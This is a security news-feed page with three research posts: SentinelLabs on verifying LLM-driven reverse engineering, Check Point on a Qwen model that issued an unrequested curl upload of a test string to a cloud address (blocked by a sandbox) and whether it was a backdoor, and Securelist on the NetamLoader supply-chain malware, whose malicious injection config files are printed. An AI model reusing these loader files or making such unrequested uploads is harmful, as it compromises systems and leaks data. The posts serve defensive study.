❌

Visualização normal

Antes de ontemCyber Threat Intel
  • ✇SentinelLabs
  • VerifiedIDA | Making LLM-Driven Reverse Engineering Inspectable, Continuable and Reusable Gabriel Bernadett-Shapiro
    Executive SummarySentinelLABS evaluated how frontier models reverse engineer binaries and annotate disassembler databases, finding recurring problems with inaccurate labels and incomplete analysis.To improve performance, we developed and tested a standard for LLM-driven reverse engineering that keeps annotations tied to evidence, verifies database changes, preserves project state, and requires review of the model’s work.We open-sourced VerifiedIDA, a reference implementation that applies the sta
     

VerifiedIDA | Making LLM-Driven Reverse Engineering Inspectable, Continuable and Reusable

4 de Novembro de 2026, 11:00

Executive Summary

  • SentinelLABS evaluated how frontier models reverse engineer binaries and annotate disassembler databases, finding recurring problems with inaccurate labels and incomplete analysis.
  • To improve performance, we developed and tested a standard for LLM-driven reverse engineering that keeps annotations tied to evidence, verifies database changes, preserves project state, and requires review of the model’s work.
  • We open-sourced VerifiedIDA, a reference implementation that applies the standard to autonomous reverse engineering in IDA Pro.
  • Despite the growing capabilities of new models, our research shows that scaling reverse engineering requires that the analysis they produce remain inspectable, continuable, and reusable by humans, other models, and downstream security workflows.

Overview

The use of large language models (LLMs) for reverse engineering creates the possibility of examining binaries at a scale and speed exceeding that of manual analysis. It also makes reverse engineering accessible to those without specialized expertise in the discipline. The combination of scale, speed, and accessibility introduces a major shift across multiple domains. In cybersecurity, for example, defenders can analyze larger volumes of malware in less time, while attackers can misuse the same capability to considerably accelerate and scale vulnerability research and exploit development, shortening the time to exploitation and increasing the volume of intrusions.

As part of our broader innovation initiative for applying AI to automate and scale up defense workflows to keep up with an increasingly fast and widespread threat landscape, this work contributes to making LLM-driven reverse engineering inspectable, continuable, and reusable. These properties are important when reverse engineering output is used as part of cyber defense operations, such as incident response, detection development, or threat hunting, where analysts act on this output, share it with other stakeholders, and use it as input to other tools and workflows. This requires the ability to inspect the evidence behind an LLM's conclusions to verify them, have another analyst or model continue the work from where the LLM stopped, and reuse results coupled with the code and data they describe.

To this end, we focus on LLM-driven reverse engineering whose output is an annotated disassembler database, such as an IDA Pro, Ghidra, or Binary Ninja database. In contrast to a textual report, which reduces the analysis to a prose snapshot of the model's conclusions, detached from the code that supports them, an annotated database records findings directly on the disassembled code and data, as labels, types, data structures, and comments. 

As a result, an analyst can verify each conclusion against the code and data it describes. When the database is shared with other stakeholders, recipients get every annotation, not only the findings a report would contain, and can verify and use the parts they need. In addition, another analyst or LLM can continue the analysis from the existing annotations in the database or correct them if necessary, rather than interpreting a prose report and locating the code and data each conclusion refers to. Other tools and workflows can also work directly with the findings and the code they apply to, for example, to generate YARA rules that target functions identified as implementing specific capabilities, or to parse configuration data using recovered data structures. 

However, an annotated database provides these benefits only if its annotations are accurate and complete, which LLMs do not guarantee. To understand these limitations in practice, we conducted evaluation studies in which LLMs analyzed binaries and annotated IDA databases without safeguards for the accuracy or completeness of their work.

We first present the results of these studies, which show that models produced inaccurate labels, left some findings unrecorded, lost track of unfinished work, and stopped the analysis early. Full model specifics are provided in the section below.

Based on these findings, we propose a standard for LLM-driven reverse engineering that annotates disassembler databases. Under the standard, each annotation must be confirmed as recorded in the database and traceable to documented evidence against which its accuracy can be verified, outstanding work stays tracked until it is resolved, and an independent review assesses the accuracy of the annotations and identifies work left undone, returning its findings to the LLM that reverse engineers the binary for correction.

Finally, we present VerifiedIDA, a harness that serves as a preliminary implementation of the standard by mediating the LLM's access to an IDA database. VerifiedIDA is released as an open-source project, together with the specification of the standard and a user guide.

Evaluation Studies | LLM-Driven Reverse Engineering Without Safeguards 

The goal of our evaluation studies was to identify common challenges with model-led reverse engineering where the model had to annotate a disassembler database using basic tooling. A detailed comparison of how models perform, individually or by vendor or tier, was not our focus.

We used proprietary models from Anthropic and OpenAI in addition to open-source models to reverse engineer binaries of varying size, both malicious and legitimate. The majority of our testing presented here used GPT-5.6 Sol. The models worked through a simple harness, in which an LLM analyzes a binary autonomously, without any human or automated feedback and with access only to basic reverse engineering capabilities. The harness provides only general instructions and a fixed set of tools for viewing disassembled and decompiled code, following cross-references, searching the binary, and writing labels, types, and comments, such as free-text descriptions of functions, into an IDA database.

The full reasoning of Anthropic and OpenAI models is not available through their APIs, so we could not directly observe how they make decisions while reverse engineering a binary. Instead, we logged each analysis step by step in what we refer to as an LLM log, recording the tools the model called, the code it retrieved, its intermediate notes and planned next steps, and the edits it made to the database. An LLM log may show, for example, the model retrieving the pseudocode of a function, following its cross-references, and then labeling the function in the database. This allowed us to reconstruct what the model retrieved, what it based each annotation on, and how it acted on that information.

To illustrate some of the observations we discuss next, we present two case studies in the Case Studies section, each examining in detail how GPT-5.6 Sol performed a routine reverse engineering task. In both, the model reverse engineered a sample of ComRAT (SHA-1 hash: 0139818441431c72a1935e7f740a1cc458a63452), a backdoor attributed to the Russian APT group Turla. Case Study #1 covers the recovery of a data structure passed as a parameter to two ComRAT functions, whereas Case Study #2 covers the analysis of a single ComRAT function's behavior.

Structured Work Grounded in Evidence

We observed that the LLMs took a sound, methodical approach to reverse engineering tasks. For example, when labeling a variable or a function, they typically started with a broad analysis of the pseudocode or disassembly and then moved to targeted exploration, analyzing how the variable or function is used across the binary to determine the variable’s role or the function’s primary operation, which is what the label should describe.

The models also largely avoided fabrication. For example, when a model could not establish the role or type of a variable, it typically applied a generic label, such as unknown, or a generic data type, such as void, rather than inventing one the code did not support.

In addition, the LLMs made effective use of authoritative information relevant to the analysis, such as the public documentation of Windows API functions, which is highly likely present in their training data. For example, when a variable was passed to a Windows API function, they typed it based on the function's documented parameter types, and when a function called Windows API functions, they took the documented behavior of these API functions into account when determining the primary operation of the calling function.

Inaccurate and Incomplete Disassembler Databases

Alongside the strengths discussed above, we observed four major, recurring problems. These problems undermine the purpose of an annotated database as the primary output of LLM-driven reverse engineering, which is to serve as an accurate and complete binary-grounded foundation for any downstream use.

Accuracy of labels 

Some labels the LLMs applied to variables and functions did not accurately describe the variables' roles or the functions' primary operations. This matters because analysts often rely on labels to navigate an annotated disassembler database. Inaccurate labels therefore have consequences for anyone who uses an annotated disassembler database, human or model, whether to continue an analysis or to draw conclusions from it. For example, an ambiguous label may lead an analyst to redo work that is already done, while an imprecise one may draw attention away from binary behavior that matters. 

Inaccurate labels also misrepresent the binary under analysis, and any conclusion drawn from the database carries that misrepresentation forward. In addition, the inaccuracy of a label is not apparent from the database itself, since a label says nothing about how well it is supported. An inaccurate label is therefore either taken at face value, with the consequences that may bring, or caught only at the cost of redoing the analysis whose conclusion it was meant to record.

Capture of findings 

The models repeatedly established findings during the analysis without recording them as annotations in the databases, that is, they did not reliably translate reverse engineering findings into database annotations. These findings did not survive the analysis sessions, and the effort behind them was effectively lost, leaving the databases incomplete.

Continuity of work

As the analyses progressed, the models often lost track of unfinished work, which we suspect is primarily due to context compaction, the condensing of the models' earlier output and tool results to fit their context windows. Steps they had planned were dropped, leaving the parts of the binary they targeted unanalyzed and without annotations in the databases.

Completeness of analysis

The LLMs often stopped exploring before examining all the code relevant to what they were analyzing. For example, having settled on a function's primary operation, an LLM labeled the function without exploring all of the function's callees, some of which implement additional capabilities. These capabilities remained unidentified, and the function's label did not express them.

Reverse Engineering Standard

The four problems we observed are not variations of a single failure. Each points to a responsibility that cannot be left to the model alone.

Models are not infallible, so no system can guarantee that every label they apply is accurate. A system can, however, keep the evidence behind each annotation, so an inaccurate label can be found and corrected without redoing the analysis it was meant to record. It can confirm which findings reach the database, carry unfinished work beyond the model's context, and check whether the code behind a conclusion was examined.

These checks fall into two categories. Mechanical checks can be made without interpreting the code: whether a requested change persisted, or whether a function's callees were inspected before the function was labeled, as in Case Study #2. Semantic checks require review on whether a label describes a function's primary operation, or whether the analysis establishes how two capabilities relate.

This is the division of labor at the center of our standard: the model makes the analytical judgments, and the system around it preserves the evidence, maintains the state of the project, and enforces follow-through. We formalize this into four requirements.

Problem

Requirement

What the system must establish

Accuracy of labels

Attributable evidence

What each annotation is based on, so its accuracy can be verified

Capture of findings

Verified changes

What was requested, what was recorded, and whether it persisted

Continuity of work

Preserved project state

What is known, what has been done, and what is planned next

Completeness of analysis

Enforceable scope and review

What must be examined, and what remains unresolved

Attributable evidence. Every annotation must be traceable to the evidence the model retrieved to support it, identified by the binary and the state of the database it came from. Evidence that no longer reflects the current database must not support new annotations.

Verified changes. The system must check what each requested change recorded in the database and whether it persisted. If a change fails, the accepted database must stay intact, and the model must receive feedback it can act on. This matters most for type changes. A recovered structure that cannot be applied cleanly, or that alters parts of the database the model did not intend to change, can be detected and rejected mechanically before it affects how other code decompiles.

Preserved project state. Accepted annotations, the history of changes, the working summary of the binary, and the list of pending tasks must be stored outside the model's context. The analysis can then be resumed after context compaction, an interruption, or a switch to another binary, by the same model, a different one, or a human analyst.

Enforceable scope and review. An independent reviewer must be able to challenge the accuracy of annotations and identify work left undone. Its findings must go back to the investigating model and stay tracked until each is corrected, rejected with evidence, or recorded as unresolved for a human to pick up.

Our proposed standard is the floor for LLM-driven reverse engineering. It does not make a model's analysis correct, and it does not prescribe how a model should reverse engineer a binary. Many tools already use models for reverse engineering in their own ways, and more will follow. Verification is essential, but it establishes only what was recorded, not whether it is right, and review by another model or by an expert human can still miss errors. What the standard ensures is that the model's conclusions remain tied to evidence that can be revisited, and that its mistakes are identifiable rather than hidden. The standard is also independent of a particular disassembler. We publish it as an interface specification alongside our reference implementation for IDA Pro, which we describe next.

The VerifiedIDA Harness

VerifiedIDA is our reference implementation of the standard. We built it for IDA Pro first because it is the disassembler our team works with most. The model chooses what to investigate, inspects code, and proposes annotations. VerifiedIDA acts as the host and mediates every access to the IDA database: it identifies the target of each request, requires current evidence, applies edits to a candidate copy of the database, checks the result, and records each operation. It maintains three records:

  • IDA databases, which hold the accepted labels, comments, types, interfaces, and relationships, one per binary, including embedded binaries.
  • A SQLite ledger, which holds inspections, operations, verification results, database revisions, and tracked work.
  • A project notebook, which holds the model's current understanding, uncertainties, and next actions, along with a journal of how they changed.

VerifiedIDA_2.jpg

Attributable evidence. Every edit must cite evidence the host recorded for the current target and database revision. Evidence is identified by binary and revision rather than by address alone, because a binary and the binaries embedded in it can use the same addresses. If the database has changed since the model inspected the code, the host rejects the edit and explains how to obtain current evidence. Model inferences and historical evidence are labeled as such. A reviewer can start from any annotation, find the operation that introduced it in the ledger, and examine the code the model was shown when it made it.

Verified changes. The host applies each edit to an isolated candidate database, reads the result back through a separate path, and checks it before the candidate becomes the accepted database. Type and prototype edits also receive a comparison of the affected IDA state, and unrelated changes lead to rejection. If an edit fails, the accepted database is left unchanged, and the model receives the target, the failed stage, the requested and observed state, and a recovery direction. Checkpoints reopen the database in a fresh IDA process to confirm that accepted changes persisted.

Feedback also targets the capture problem directly. After an edit, the host flags incomplete annotations, such as a renamed function without a behavior comment or parameters that retain generated names, and reports where a newly created type is not yet applied. In our worked example, based on the ComRAT structure from Case Study #1, the feedback reported that the structure the model had created was declared but not used anywhere, and the model went on to apply it to the function's parameter.

Preserved project state. The notebook records where the investigation stands, and its current-state sections are rewritten as the model's understanding changes. After context compaction, the model is given its current instructions and the recorded project state, and any further edit still requires fresh evidence from IDA. When the model follows an embedded binary, the host records the child's bytes, how it was extracted, and its link to the parent, and opens a separate database for it. Before switching, we require the model to record what it has established in the parent and how the parent uses the child, so it knows where to return.

Enforceable scope and review. Independent review starts with the host building an inventory of annotations and possible gaps. Reviewer models then examine individual claims and the overall explanation of the program, with read-only access to disposable copies of the databases. The host validates their findings and freezes the scope of required corrections. The investigating model then resumes and works through one finding at a time: it can apply the correction, revise it, reject it with evidence, defer it, or request a specific follow-up. It then checks that the accepted review conclusions agree with the annotations, and any remaining disagreement blocks completion. The final report states what was verified, what remains unresolved, and whether the completion policy was met.

Coverage mode. We reran the Case Study #2 function with an experimental call-flow mode enabled. In six earlier GPT-5.6 Sol runs, none had opened sub_180081450, and the four that annotated the parent all omitted forwarded-export handling. 

In the new run, Sol began from a clean database and was not told which callee mattered. Once it committed a claim about sub_180077C10, the mode listed the function's 20 direct internal callees and held that claim open until each had a recorded outcome. Sol opened sub_180081450, identified it as the recursive resolver for forwarded exports, and confirmed a parent comment that separates local export-table parsing from the recursion it delegates. 

A repeat under a revised policy reached the same result across all 20 callees, and every edit survived a fresh-process reload. The mode follows direct calls only. An early attempt to apply it across the whole project generated 265 required nodes for eight edits, so we reserve it for selected claims.

Conclusion

Over the past year we’ve watched the infosec community grapple with the rapid adoption of AI tools and increased automation. It is clear that AI models can now reverse engineer binaries at a scale no team of analysts can match. As the volume of analysis the models produce grows, it creates a widening gap in our ability to understand how decisions were reached and what evidence they were based on. After all, a model's labels, types, and descriptions are only as useful as an analyst's ability to confirm them, correct them, and build on them. 

A database makes this level of inspection possible in a way that a report cannot because each conclusion can be tied to the code it describes. This allows a person (or another model) to easily continue the work or incorporate the findings into downstream detection and hunting workflows. 

LLMs give us the opportunity to automate more security analysis but only insofar as the work they produce remains understandable. Scaling the analysis without also scaling our ability to inspect it replaces one bottleneck with another.

Our evaluation studies showed that models alone do not reliably produce attestable databases. Labels drift from what the code does, findings stay in logs, planned work disappears, and analysis stops before the relevant code has been read. The standard and VerifiedIDA respond by leaving the analytical judgment with the model and giving the system around it the job of keeping that judgment checkable. Our rerun of Case Study #2 shows the difference: the helper that six earlier runs skipped became work the model could not leave unfinished.

We are releasing both as a starting point. The requirements describe the minimum a model-driven workflow should provide, and our implementation covers a single disassembler. We invite the community to test the specification against their own tooling, build adapters for Ghidra and Binary Ninja, and push back on requirements that do not hold up. Where sharing is permitted, we also encourage researchers to publish annotated projects alongside their reports, so others can extend an analysis instead of repeating it.

This paper complements research we presented at LABScon 2026.

Case Studies

#1 | Recovering a Data Structure

Recovering data structures is routine reverse engineering work. At the memory level, a structure is a base address with fields at fixed offsets from it, where a field may be a complex data type itself. If the binary carries no debug symbols, it does not declare field offsets, types, and names, and these have to be recovered through analysis.

Two ComRAT functions, with the IDA default names sub_18002C770 and sub_18002CDA0, receive a pointer to a data structure as their parameter. IDA types these parameters as an integer.

VerifiedIDA_4.jpg

The LLM typed the parameters as a pointer to a data structure, which it declared as follows.

VerifiedIDA_3.jpg

The LLM approached the recovery of the structure in two stages. First, from the pseudocode of sub_18002C770, sub_18002CDA0, and the functions they invoke, it observed references to specific offsets from the function parameter value (the structure base address), concluding that the parameter is a pointer to a structure. It then widened the analysis to the rest of ComRAT's code, looking for references to the structure's fields wherever they occur. For each field it identified, it analyzed the context in which the field is used to propose a label, type, and size. 

This enabled the LLM to recover the full set of structure fields, and from their sizes the correct total size of the structure itself.

VerifiedIDA_7.jpg

The strongest evidence the LLM had for typing a field was its use as a parameter to a Windows API function. Many Windows API functions are documented publicly and their parameter sets are relatively stable, so the types of these parameters are highly likely present in the model's training data. IDA may also expose these types in the pseudocode provided to the LLM since it auto-defines parameter types for many of these functions. The model could therefore determine field types from authoritative sources.

For example, the LLM observed that a pointer to the structure field at offset 0x30 is passed as the tenth parameter of CreateProcessW. Microsoft documents the type of this parameter as a pointer to a PROCESS_INFORMATION structure, and IDA's pseudocode shows the same type. The LLM used this information to correctly type the field as PROCESS_INFORMATION.

VerifiedIDA_9.jpg

VerifiedIDA_10.jpg

The LLM did not produce annotations that its analysis did not support. For example, it found no use of the field at offset 0x28 within the functions under analysis and did not label the field after an invented role. Instead, it flagged the finding and decided to explore ComRAT's code further to establish the field's role. It found no use of the field anywhere in ComRAT and labeled it unresolved_28. Our own analysis confirms that the field is indeed never used.

VerifiedIDA_5.jpg

However, several structure field and function labels produced by the LLM are inaccurate, since they do not describe what they should: the role a field plays in the code or the primary operation a function performs. For example, the LLM labeled the field at offset 0x28 unresolved_28, naming its own analytical state rather than the role of the field, or the lack thereof. The label is also ambiguous, because it does not distinguish a field that has not been examined from one that has been examined and found to be unused. In the case of this field, a name such as unused would be more appropriate.

The LLM also named the function sub_18002C770 PrepareSuspendedSurrogateProcess, although the function’s primary operation is the creation of a browser process in a suspended state. The LLM’s label does not indicate process creation at all, and Prepare suggests work that precedes a later step rather than the function’s primary operation. The LLM’s free-text description of the function (“Create the configured surrogate process before proxy injection”) shows that the model had identified the primary operation. The description leads with it and treats the injection that follows as context, whereas the label PrepareSuspendedSurrogateProcess keeps only the context and leaves out the process creation. A human reverse engineer would be more likely to apply a label such as CreateSuspendedBrowserProcess, which is more descriptive and more accurate in the context of the task.

Beyond inaccurate labels, the LLM did not record all of its findings in the IDA database, as the annotation of the structure field at offset 0x0 demonstrates. This field is a pointer to a structure, which holds data associated with a log writing mechanism, and the LLM logs show that the model identified the field as such.

VerifiedIDA_6.jpg

However, in the IDA database, the LLM typed this field as a generic void pointer and labeled it owner_context rather than something closer to its role, such as LogWriter. The LLM had established the type and role of the field but did not translate these findings into IDA database annotations.

#2 | Analyzing a Function’s Behavior

A ComRAT function, with the IDA default name sub_180077C10, retrieves by name the address of a function exported by a dynamic link library (DLL) loaded in a remote process. If the export is forwarded to another DLL, the function resolves the address of the forwarded export recursively.

The LLM labeled this function ResolveRemoteExportAddress, correctly expressing its primary operation. As in Case Study #1, the strongest evidence the LLM relied on was the Windows API calls the function invokes. ResolveRemoteExportAddress also compares values against publicly documented constants, which provided the LLM with further authoritative evidence of the function’s operation.

For example, from the ReadProcessMemory calls, the LLM established that the function reads memory in the address space of a remote process. From the comparisons against the MZ (0x5A4D) and PE (0x4550) signature constants, the model determined that the function looks for Windows PE (Portable Executable) headers. Because the PE format is publicly documented and highly likely present in the model’s training data, the offsets into these headers visible in the pseudocode enabled the model to identify which of the DLL’s PE structures the function reads, such as its export directory and the array of names of its exported functions.

VerifiedIDA_11.jpg

The LLM's free-text description, “Resolve an exported function address in a remote module from its PE export directory”, is accurate but incomplete, since it does not account for the resolution of forwarded exports.

If an export is forwarded to another DLL, sub_180077C10 (ResolveRemoteExportAddress) calls sub_180081450, which resolves the address of the forwarded export. Treating its understanding of sub_180077C10 as complete, the LLM labeled and described the function without exploring all of its callees, including sub_180081450. The capability implemented by sub_180081450 therefore remained unidentified.

GhostMap: The Android flaw that crashes your phone before you open the app

5 de Novembro de 2026, 06:00
Bitdefender Labs researchers found that installing a specially crafted app can leave an Android phone stuck in a crash loop, even if you never open it or grant it a single permission. The app contains no code and never needs to run.  

  • ✇Check Point Research
  • Cohere’s Qwen Story: Looks More Like Model Jaggedness matthewsu@checkpoint.com
    Key findings Re-sampling URLs from the trace shared by Cohere yields 52 different destination hosts, many of which are local or do not exist, and one is an invalid top-level domain. Swapping the order of two program names in a check for available tools made the model much less likely to continue with a network call. Model jaggedness (inconsistent behavior that changes with small differences in context) seems like a more likely explanation than a fixed backdoor destination. Our inter
     

Cohere’s Qwen Story: Looks More Like Model Jaggedness

29 de Outubro de 2026, 11:08

Key findings

  • Re-sampling URLs from the trace shared by Cohere yields 52 different destination hosts, many of which are local or do not exist, and one is an invalid top-level domain.
  • Swapping the order of two program names in a check for available tools made the model much less likely to continue with a network call.
  • Model jaggedness (inconsistent behavior that changes with small differences in context) seems like a more likely explanation than a fixed backdoor destination.
  • Our interactive viewers let you explore the recorded trace, the most likely next tokens, and the 64 sampled URL completions.

On October 26, Cohere reported a puzzling incident involving Qwen3.8-Flash-Next, an open-weight model from Alibaba. The task was straightforward: write a detection rule for suspicious curl downloads followed by bash execution. Instead, the model produced a shell command that inspected its environment and attempted to send a test string to an Alibaba Cloud storage address in Beijing. Cohere’s sandbox blocked the request.

Before the command, the model imagined an earlier conversation and reasoned that it should offer a brief acknowledgment without using tools. Immediately after the reasoning it issued a tool call anyway.

Was this a backdoor sending data to a predetermined destination? Or had the model lost track of its task? We replayed the published trace to investigate.

Replaying the moment before the address

We deployed the model Qwen3.8-Flash-Next on a machine with 8× NVIDIA RTX PRO 6000 GPUs using vLLM as an inference framework in order to probe the model. Model generation is not deterministic in general and if you sample multiple outputs, you will likely get different results, and this is what we are interested in: what are the different scenarios that could have happened in this situation?

curl is a command-line tool that can download data from a web address or upload data to one. In simplified form, the recorded upload command was curl -X PUT –data-binary “PROBE_PAYLOAD_ABC123” <URL>, which asks to send that fixed test string to the address at the end. By stopping just after the test string, we leave the destination for the model to choose and can see whether repeated completions keep returning to the same address.

We used the recorded conversation and command from Cohere’s released trace and removed the part coming after the test string PROBE_PAYLOAD_ABC123. At that point, the curl upload command had already begun, but the model had yet to write its destination. We asked it to complete the same unfinished command 64 times. The model chooses each next word or word fragment from several possibilities, so the same input can produce different completions.

cohere-qwen
Selected completions from the same supplied context, split into the tokens the model generated.

The destinations varied widely. Seven first addresses used an Amazon Web Services hostname, six used an Alibaba Cloud hostname, and 20 were local or internal-looking. Across the 64 continuations, we found 52 distinct host strings.

cohere-qwen
The first destination from each of 64 sampled continuations.

Some strings resembled cloud storage buckets; others used local network addresses which are completely benign. A familiar provider name in a generated address does not mean the address exists or would accept an upload. 11 of the public-looking domains do not exist and one is not a valid top-level domain. These results indicate that there is not a single hard-coded target where the model tries to push some data to in this situation, but rather a diversity of (sometimes nonexistent) destinations including local, American cloud, and invalid URLs.

One plausible explanation is that the model was completing an upload command with a cloud-storage address it had learned during training. Alibaba Cloud was one of several providers it generated in our replays. We cannot establish why that particular run produced an Alibaba address, but the replays suggest it was one possible completion rather than a fixed destination.

We also tested an earlier point in the command, where the model checked which programs were available. A completely insignificant action – swapping the order of curl and wget when checking availability – reduced the number of continuations containing a curl network command from 15/32 to 4/32, despite both lists containing exactly the same programs.

cohere-qwen
Changing the tool order changed how often the continuation used curl.

Both tests probe what are the possible scenarios that can happen once the model has decided to produce a tool call. They cannot tell us how often the model would initiate an unrequested upload or why it chose to use a tool call in the first place.

A model getting lost

The results fit what we call model jaggedness: behavior that is inconsistent or changes sharply with small differences in context. The model’s reasoning misread the task and contradicted its subsequent action. When we sampled different completions, a diverse set of destinations was chosen rather than a single endpoint. When we changed the order of two tool names, the continuation changed too. Together, these observations make jaggedness the most likely explanation we found.

There is also context around the model itself. Qwen describes Flash-Next as an experimental preview of the architecture behind Qwen4. They say that they shared the architectural changes early with the community presumably so that inference framework developers can implement before the full model release. Rough edges are plausible in an experimental checkpoint, though this context does not establish the cause of the incident or predict the behavior of the future model family.

We built a URL explorer for the 64 sampled continuations and a trace viewer showing the model’s alternatives at each token. Open both viewers here.

So, is this a backdoor?

In conclusion, the situation does not seem as alarming as it might have seemed at first glance. The reality is that models can misbehave for no apparent humanly interpretable reason. While these results do not prove that there is no backdoor (which is extremely difficult to do), it hints at the most likely explanation simply being model jaggedness and a situation that makes the model misbehave.

Companies deploying agents need to secure their models from controls outside the model. A request for a detection rule offers no reason to send a test string to an unrelated address and that mismatch can be identified before the action is executed. This emphasizes the point that the principles of least privilege and sandboxing agents are crucial in securing them.

We tested Qwen, so these results do not establish how other models would behave. The broader risk is that an agent with tool access can attempt a network action unrelated to the user’s request. Least privilege and sandboxing limit the consequences when that happens.

We thank Cohere for sharing the suspicious trace which enabled this experiment.

Experimental setup

  • Model and machine: Qwen3.8-Flash-Next in BF16, served with vLLM 0.32.0 on a machine with 8× NVIDIA RTX PRO 6000 Blackwell GPUs; deterministic QSA selection
  • Sampling: temperature 1.0, top-k 20, top-p 1.0, min-p 0; no presence, frequency, or repetition penalties
  • URL experiment: 64 serial completions from the recorded 2,323-token prefix ending at ABC123, stopping at the end of the first tool call (maximum 1,773 new tokens)

The post Cohere’s Qwen Story: Looks More Like Model Jaggedness appeared first on Check Point Research.

  • ✇Securelist
  • Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia GReAT
    Introduction A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established. The sample came to light in the first half of 2026, when Kaspersky Security Net
     

Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

Por:GReAT
29 de Outubro de 2026, 05:00

Introduction

A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

Background

During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

Initial infection

The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

Files compressed in the CAB file

Files compressed in the CAB file


Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

After the file is launched in this manner, the infection chain progresses to stage 1.

Stage 1

Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

Infection chain: Stage 1

Infection chain: Stage 1

Step 1

The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<runtime>
		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
       </appDomainManagerType>
		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                    Culture=neutral, PublicKeyToken=31bf3856ad364e35">
       </appDomainManagerAssembly>
		<NGenAssemblyUsageLog enabled="0" />
	</runtime>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
    </startup>
</configuration>

According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
    <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                Version=4.0.0.0, Culture=neutral, 
                PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>

Step 2

The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

Multiple layers of payloads are compressed and encrypted in the .resx file

Multiple layers of payloads are compressed and encrypted in the .resx file

The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

Base64-encoded serialized binary object in Resources.resx

Base64-encoded serialized binary object in Resources.resx

Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

A code snippet of XAML-1

A code snippet of XAML-1

Step 3

The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

  1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
  2. Generate the AES key by hashing the command‑line string with SHA‑256.
  3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
  4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
  5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

Stage 2

XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

Infection chain: Stage 2

Infection chain: Stage 2

